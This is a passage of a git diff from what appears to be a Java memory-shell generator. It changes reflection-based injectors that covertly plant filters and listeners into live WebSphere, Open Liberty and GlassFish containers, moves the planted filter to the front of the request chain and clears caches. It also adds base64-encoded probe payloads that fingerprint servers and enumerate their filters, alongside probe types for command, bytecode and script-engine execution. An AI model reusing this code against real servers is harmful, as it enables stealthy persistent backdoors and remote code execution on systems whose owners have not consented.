classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig"); + Class filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping"); + Class iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig"); + Class iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig"); Object filterManager = getFieldValue(context, "filterManager"); - try { - // v8 - Constructor constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass); - // com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter - setFieldValue(context, "initialized", false); - Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()}); - Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null); - setFieldValue(context, "initialized", true); - - // com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping - invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping}); - - // com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter - invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()}); + Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()}); + invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{getClassName()}); + setFieldValue(filterConfig, "name", getClassName()); + Constructor constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass); + Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null); + invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping}); + invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig}); + try { + List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos"); + uriFilterMappingInfos.remove(filterMapping); + uriFilterMappingInfos.add(0, filterMapping); } catch (Exception e) { - // v7 - Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()}); - invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()}); - setFieldValue(filterConfig, "dispatchMode", new int[]{0}); - setFieldValue(filterConfig, "name", getClassName()); - invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig}); - invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()}); + // WebSphere7 + List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings"); + Object fmInfo = uriFilterMappings.remove(uriFilterMappings.size() - 1); + uriFilterMappings.add(0, fmInfo); } + // 清除缓存 - invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null); + Object chainCache = getFieldValue(filterManager, "chainCache"); + try { + invokeMethod(chainCache, "clear", null, null); + } catch (Exception e) { + invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null); + } } @Override @@ -176,6 +194,19 @@ public String toString() { return msg; } + // bypass osgi + public static Class loadClass(Class context, String className) throws ClassNotFoundException { + if (context.equals(Object.class)) { + throw new ClassNotFoundException(className); + } + ClassLoader loader = context.getClassLoader(); + try { + return loader.loadClass(className); + } catch (ClassNotFoundException e) { + return loadClass(context.getSuperclass(), className); + } + } + @SuppressWarnings("all") public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { @@ -255,13 +286,9 @@ public static Field getField(Object obj, String name) throws NoSuchFieldExceptio @SuppressWarnings("all") public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { - try { - Field field = getField(obj, name); - field.setAccessible(true); - return field.get(obj); - } catch (NoSuchFieldException ignored) { - } - return null; + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java index 77745c19..6d010d29 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java @@ -38,7 +38,7 @@ public WebSphereListenerInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -75,11 +75,32 @@ private String getContextRoot(Object context) { public Set getContext() throws Exception { Set contexts = new HashSet(); - Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); - for (Object wsThreadLocal : wsThreadLocals) { + Object[] threadLocals = null; + boolean raw = false; + try { + // WebSphere Liberty + threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); + } catch (NoSuchFieldException ignored) { + } + if (threadLocals == null) { + // Open Liberty + threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table"); + raw = true; + } + for (Object threadLocal : threadLocals) { + if (threadLocal == null) { + continue; + } + Object value = threadLocal; + if (raw) { + value = getFieldValue(threadLocal, "value"); + } + if (value == null) { + continue; + } // for websphere 7.x - if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { - Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); + if (value.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFieldValue(value, "stack"); for (Object stack : stackList) { try { Object config = getFieldValue(stack, "config"); @@ -87,8 +108,9 @@ public Set getContext() throws Exception { } catch (Exception ignored) { } } - } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; - contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); + } else if (value.getClass().getName().endsWith("WebContainerRequestState")) { + Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null); + contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context")); } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java index f30c40e0..a672b970 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java @@ -6,7 +6,9 @@ import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.Properties; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -39,7 +41,7 @@ public WebSphereServletInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -76,11 +78,32 @@ private String getContextRoot(Object context) { public Set getContext() throws Exception { Set contexts = new HashSet(); - Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); - for (Object wsThreadLocal : wsThreadLocals) { + Object[] threadLocals = null; + boolean raw = false; + try { + // WebSphere Liberty + threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); + } catch (NoSuchFieldException ignored) { + } + if (threadLocals == null) { + // Open Liberty + threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table"); + raw = true; + } + for (Object threadLocal : threadLocals) { + if (threadLocal == null) { + continue; + } + Object value = threadLocal; + if (raw) { + value = getFieldValue(threadLocal, "value"); + } + if (value == null) { + continue; + } // for websphere 7.x - if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { - Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); + if (value.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFieldValue(value, "stack"); for (Object stack : stackList) { try { Object config = getFieldValue(stack, "config"); @@ -88,8 +111,9 @@ public Set getContext() throws Exception { } catch (Exception ignored) { } } - } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; - contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); + } else if (value.getClass().getName().endsWith("WebContainerRequestState")) { + Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null); + contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context")); } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFish.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFish.java index de755b5d..4cc35054 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFish.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFish.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.memshell.server; +import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; @@ -43,8 +43,8 @@ public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() .addInjector(LISTENER, TomcatListenerInjector.class) .addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class) - .addInjector(FILTER, TomcatFilterInjector.class) - .addInjector(JAKARTA_FILTER, TomcatFilterInjector.class) + .addInjector(FILTER, GlassFishFilterInjector.class) + .addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class) .addInjector(VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) diff --git a/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java b/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java index b5f4a6ad..61c2d083 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java @@ -8,8 +8,14 @@ public enum ProbeContent { Server, OS, JDK, + // 字节码执行 Bytecode, + // 命令执行 Command, + // 基础信息 BasicInfo, - ScriptEngine + // 脚本引擎执行 + ScriptEngine, + // Filter 配置 + Filter } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java b/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java index 2a48a20d..9f96dbcc 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java @@ -3,6 +3,7 @@ import com.reajason.javaweb.utils.CommonUtil; import lombok.Builder; import lombok.Getter; +import lombok.Setter; import lombok.ToString; import lombok.experimental.SuperBuilder; import org.apache.commons.lang3.StringUtils; @@ -26,6 +27,7 @@ public class ResponseBodyConfig extends ProbeContentConfig { /** * 内置执行类加载的字节码 */ + @Setter private String base64Bytes; /** diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java index 1eaa8aa0..ced27afa 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java @@ -10,6 +10,7 @@ import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator; import com.reajason.javaweb.probe.payload.ByteCodeProbe; import com.reajason.javaweb.probe.payload.CommandProbe; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import com.reajason.javaweb.probe.payload.ScriptEngineProbe; import com.reajason.javaweb.probe.payload.response.*; import com.reajason.javaweb.utils.ShellCommonUtil; @@ -18,7 +19,6 @@ import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FixedValue; import org.apache.commons.lang3.StringUtils; -import org.eclipse.jetty.server.Request; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; @@ -38,11 +38,14 @@ public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeCo @Override protected DynamicType.Builder build(ByteBuddy buddy) { - String name = probeContentConfig.getReqParamName(); Class getDataFromReqInterceptor = getDataFromReqInterceptor.class; - if (Server.Jetty.equals(probeContentConfig.getServer())) { + String server = probeContentConfig.getServer(); + if (Server.Jetty.equals(server)) { getDataFromReqInterceptor = getDataFromReqJettyInterceptor.class; } + if (ProbeContent.Filter.equals(probeConfig.getProbeContent())) { + probeContentConfig.setBase64Bytes(FilterProbeFactory.getBase64ByServer(server)); + } Class writerClass = getWriterClass(); Class runnerClass = getRunnerClass(); DynamicType.Builder builder = buddy.redefine(writerClass) @@ -53,12 +56,12 @@ protected DynamicType.Builder build(ByteBuddy buddy) { .to(runnerClass) .on(named("run"))); String base64Bytes = probeContentConfig.getBase64Bytes(); - if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent()) && StringUtils.isNotBlank(base64Bytes)) { + if (StringUtils.isNotBlank(base64Bytes)) { builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes)); } else { builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq", probeConfig.getShellClassName(), ShellCommonUtil.class.getName())) - .visit(Advice.withCustomMapping().bind(ValueAnnotation.class, name) + .visit(Advice.withCustomMapping().bind(ValueAnnotation.class, probeContentConfig.getReqParamName()) .to(getDataFromReqInterceptor).on(named("getDataFromReq"))); } return builder; @@ -69,6 +72,7 @@ private Class getRunnerClass() { case Command: return CommandProbe.class; case Bytecode: + case Filter: return ByteCodeProbe.class; case ScriptEngine: return ScriptEngineProbe.class; @@ -138,7 +142,8 @@ public static void enter(@Advice.Argument(value = 0) Object request, } ret = p; } catch (Exception e) { - Object parameters = Request.class.getMethod("extractQueryParameters", Request.class, Charset.class).invoke(null, request, UTF_8); + Class requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request"); + Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8); String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name}); if (p == null || p.isEmpty()) { Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null); diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/FilterProbeFactory.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/FilterProbeFactory.java new file mode 100644 index 00000000..1dc00ef9 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/FilterProbeFactory.java @@ -0,0 +1,54 @@ +package com.reajason.javaweb.probe.payload; + +import com.reajason.javaweb.GenerationException; +import com.reajason.javaweb.Server; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.probe.payload.filter.*; +import com.reajason.javaweb.utils.CommonUtil; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2026/1/11 + */ +public class FilterProbeFactory { + + public static String getBase64ByServer(String server) { + try (DynamicType.Unloaded unloaded = new ByteBuddy() + .redefine(getFilterClass(server)) + .visit(TargetJreVersionVisitorWrapper.DEFAULT) + .name(CommonUtil.generateClassName()).make()) { + return Base64.encodeBase64String(unloaded.getBytes()); + } + } + + + private static Class getFilterClass(String server) { + switch (server) { + case Server.Tomcat: + case Server.JBoss: + case Server.BES: + case Server.TongWeb: + return TomcatFilterProbe.class; + case Server.Jetty: + return JettyFilterProbe.class; + case Server.Apusic: + return ApusicFilterProbe.class; + case Server.GlassFish: + case Server.InforSuite: + return GlassFishFilterProbe.class; + case Server.WebSphere: + return WebSphereFilterProbe.class; + case Server.WebLogic: + return WebLogicFilterProbe.class; + case Server.Undertow: + return UndertowFilterProbe.class; + case Server.Resin: + return ResinFilterProbe.class; + default: + throw new GenerationException("filterProbe not supported for server: " + server); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java index 2c94aa3a..6c9cde0d 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java @@ -50,7 +50,8 @@ public static String exit(@Advice.Return(readOnly = false) String ret) { if (System.getProperty("weblogic.home") != null) { return ret = "WebLogic"; } - if (System.getProperty("was.install.root") != null) { + if (System.getProperty("was.install.root") != null + || System.getProperty("wlp.install.dir") != null) { return ret = "WebSphere"; } if (System.getProperty("resin.home") != null) { diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/ApusicFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/ApusicFilterProbe.java new file mode 100644 index 00000000..a8052db8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/ApusicFilterProbe.java @@ -0,0 +1,205 @@ +package com.reajason.javaweb.probe.payload.filter; + +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; + +/** + * @author ReaJason + */ +public class ApusicFilterProbe { + + @Override + @SuppressWarnings("Duplicates") + public String toString() { + StringBuilder msg = new StringBuilder(); + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg.append("context error: ").append(getErrorMessage(throwable)); + } + if (contexts == null || contexts.isEmpty()) { + msg.append("context not found\n"); + } else { + Map>> allFiltersData = new LinkedHashMap>>(); + for (Object context : contexts) { + String contextRoot = getContextRoot(context); + try { + List> filters = collectFiltersData(context); + allFiltersData.put(contextRoot, filters); + } catch (Throwable e) { + msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n"); + } + } + msg.append(formatFiltersData(allFiltersData)); + } + return msg.toString(); + } + + @SuppressWarnings({"unchecked", "Duplicates"}) + private List> collectFiltersData(Object context) throws Exception { + // context -> com.apusic.web.container.WebContainer + Map> aggregatedData = new LinkedHashMap<>(); + // webModule -> com.apusic.deploy.runtime.WebModule + Object webModule = getFieldValue(context, "webapp"); + Object[] filterMappings = (Object[]) invokeMethod(webModule, "getAllFilterMappings"); + for (Object fm : filterMappings) { + // fm -> com.apusic.deploy.runtime.FilterMapping + String name = (String) invokeMethod(fm, "getFilterName"); + if (!aggregatedData.containsKey(name)) { + Map info = new HashMap<>(); + Object filterModel = invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{name}); + info.put("filterName", name); + info.put("filterClass", invokeMethod(filterModel, "getFilterClass")); + info.put("urlPatterns", new LinkedHashSet()); + info.put("servletNames", new LinkedHashSet()); + aggregatedData.put(name, info); + } + Map info = aggregatedData.get(name); + String urlPattern = (String) invokeMethod(fm, "getUrlPattern"); + if (urlPattern != null && !urlPattern.isEmpty()) ((Set) info.get("urlPatterns")).add(urlPattern); + String servletName = (String) invokeMethod(fm, "getServletName"); + if (servletName != null && !servletName.isEmpty()) ((Set) info.get("servletNames")).add(servletName); + } + List> result = new ArrayList<>(); + for (Map entry : aggregatedData.values()) { + Map finalInfo = new HashMap<>(); + finalInfo.put("filterName", (String) entry.get("filterName")); + finalInfo.put("filterClass", (String) entry.get("filterClass")); + Set urls = (Set) entry.get("urlPatterns"); + finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString()); + Set servletNames = (Set) entry.get("servletNames"); + finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString()); + result.add(finalInfo); + } + return result; + } + + @SuppressWarnings("all") + private String formatFiltersData(Map>> allFiltersData) { + StringBuilder output = new StringBuilder(); + for (Map.Entry>> entry : allFiltersData.entrySet()) { + String context = entry.getKey(); + List> filters = entry.getValue(); + output.append("Context: ").append(context).append("\n"); + if (filters.isEmpty()) { + output.append("No filters found\n"); + } else { + for (Map info : filters) { + appendIfPresent(output, "", info.get("filterName")); + appendIfPresent(output, " -> ", info.get("filterClass")); + appendIfPresent(output, " -> URL:", info.get("urlPatterns")); + appendIfPresent(output, " -> Servlet:", info.get("servletNames")); + output.append("\n"); + } + } + } + return output.toString(); + } + + private void appendIfPresent(StringBuilder sb, String prefix, String value) { + if (value != null && !value.isEmpty()) { + sb.append(prefix).append(value); + } + } + + @SuppressWarnings("Duplicates") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath"); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + /** + * context: com.apusic.web.container.WebContainer + * context - webapp: com.apusic.deploy.runtime.WebModule + * /usr/local/ass/lib/apusic.jar + */ + @SuppressWarnings("Duplicates") + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + if (thread.getName().contains("HouseKeeper")) { + // Apusic 9.0 SPX + Object sessionManager = getFieldValue(thread, "this$0"); + contexts.add(getFieldValue(sessionManager, "container")); + } else if (thread.getName().contains("HTTPSession")) { + // Apusic 9.0.1 + Object sessionManager = getFieldValue(thread, "this$0"); + Map contextMap = ((Map) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts")); + contexts.addAll(contextMap.values()); + } + } + return contexts; + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName()); + } + + public static Object invokeMethod(Object obj, String methodName) throws Exception { + return invokeMethod(obj, methodName, null, null); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java new file mode 100644 index 00000000..30506f3a --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java @@ -0,0 +1,224 @@ +package com.reajason.javaweb.probe.payload.filter; + +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; + +/** + * @author ReaJason + */ +public class GlassFishFilterProbe { + + @Override + public String toString() { + StringBuilder msg = new StringBuilder(); + Map>> allFiltersData = new LinkedHashMap>>(); + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg.append("context error: ").append(getErrorMessage(throwable)); + } + if (contexts == null || contexts.isEmpty()) { + msg.append("context not found\n"); + } else { + for (Object context : contexts) { + String contextRoot = getContextRoot(context); + try { + List> filters = collectFiltersData(context); + allFiltersData.put(contextRoot, filters); + } catch (Throwable e) { + msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n"); + } + } + msg.append(formatFiltersData(allFiltersData)); + } + return msg.toString(); + } + + @SuppressWarnings({"unchecked", "Duplicates"}) + private List> collectFiltersData(Object context) throws Exception { + // context -> org.apache.catalina.core.StandardContext + Map> aggregatedData = new LinkedHashMap<>(); + + List filterMaps = (List) invokeMethod(context, "findFilterMaps"); + for (Object fm : filterMaps) { + // fm -> org.apache.catalina.deploy.FilterMap + String name = (String) invokeMethod(fm, "getFilterName"); + if (!aggregatedData.containsKey(name)) { + // filterDef -> org.apache.catalina.deploy.FilterDef + Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{name}); + String filterClass = (String) invokeMethod(filterDef, "getFilterClassName"); + if (filterClass == null) { + // filterConfig -> org.apache.catalina.core.ApplicationFilterConfig + Object filterConfig = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name}); + Object filter = invokeMethod(filterConfig, "getFilter"); + if (filter != null) filterClass = filter.getClass().getName(); + } + Map info = new HashMap<>(); + info.put("filterName", name); + info.put("filterClass", filterClass); + info.put("urlPatterns", new LinkedHashSet()); + info.put("servletNames", new LinkedHashSet()); + aggregatedData.put(name, info); + } + Map info = aggregatedData.get(name); + String[] urls = null; + try { + urls = (String[]) invokeMethod(fm, "getURLPatterns"); + } catch (Exception e) { + // Tomcat 5 + String urlPattern = (String) invokeMethod(fm, "getURLPattern"); + if (urlPattern != null) urls = new String[]{urlPattern}; + } + if (urls != null) ((Set) info.get("urlPatterns")).addAll(Arrays.asList(urls)); + String[] servletNames = null; + try { + servletNames = (String[]) invokeMethod(fm, "getServletNames"); + } catch (Exception e) { + // Tomcat 5 + String servletName = (String) invokeMethod(fm, "getServletName"); + if (servletName != null) servletNames = new String[]{servletName}; + } + if (servletNames != null) ((Set) info.get("servletNames")).addAll(Arrays.asList(servletNames)); + } + List> result = new ArrayList<>(); + for (Map entry : aggregatedData.values()) { + Map finalInfo = new HashMap<>(); + finalInfo.put("filterName", (String) entry.get("filterName")); + finalInfo.put("filterClass", (String) entry.get("filterClass")); + Set urls = (Set) entry.get("urlPatterns"); + finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString()); + Set servletNames = (Set) entry.get("servletNames"); + finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString()); + result.add(finalInfo); + } + return result; + } + + + @SuppressWarnings("all") + private String formatFiltersData(Map>> allFiltersData) { + StringBuilder output = new StringBuilder(); + for (Map.Entry>> entry : allFiltersData.entrySet()) { + String context = entry.getKey(); + List> filters = entry.getValue(); + output.append("Context: ").append(context).append("\n"); + if (filters.isEmpty()) { + output.append("No filters found\n"); + } else if (filters.size() == 1 && filters.get(0).containsKey("error")) { + output.append(filters.get(0).get("error")).append("\n"); + } else { + for (Map info : filters) { + appendIfPresent(output, "", info.get("filterName")); + appendIfPresent(output, " -> ", info.get("filterClass")); + appendIfPresent(output, " -> URL:", info.get("urlPatterns")); + appendIfPresent(output, " -> Servlet:", info.get("servletNames")); + output.append("\n"); + } + } + } + return output.toString(); + } + + private void appendIfPresent(StringBuilder sb, String prefix, String value) { + if (value != null && !value.isEmpty()) { + sb.append(prefix).append(value); + } + } + + @SuppressWarnings("Duplicates") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext"), "getContextPath"); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + /** + * com.sun.enterprise.web.WebModule + * /xxx/modules/web-glue.jar + */ + @SuppressWarnings("Duplicates") + public Set getContext() throws Exception { + Set contexts = new HashSet<>(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } + } + return contexts; + } + + public static Object invokeMethod(Object obj, String methodName) throws Exception { + return invokeMethod(obj, methodName, null, null); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + 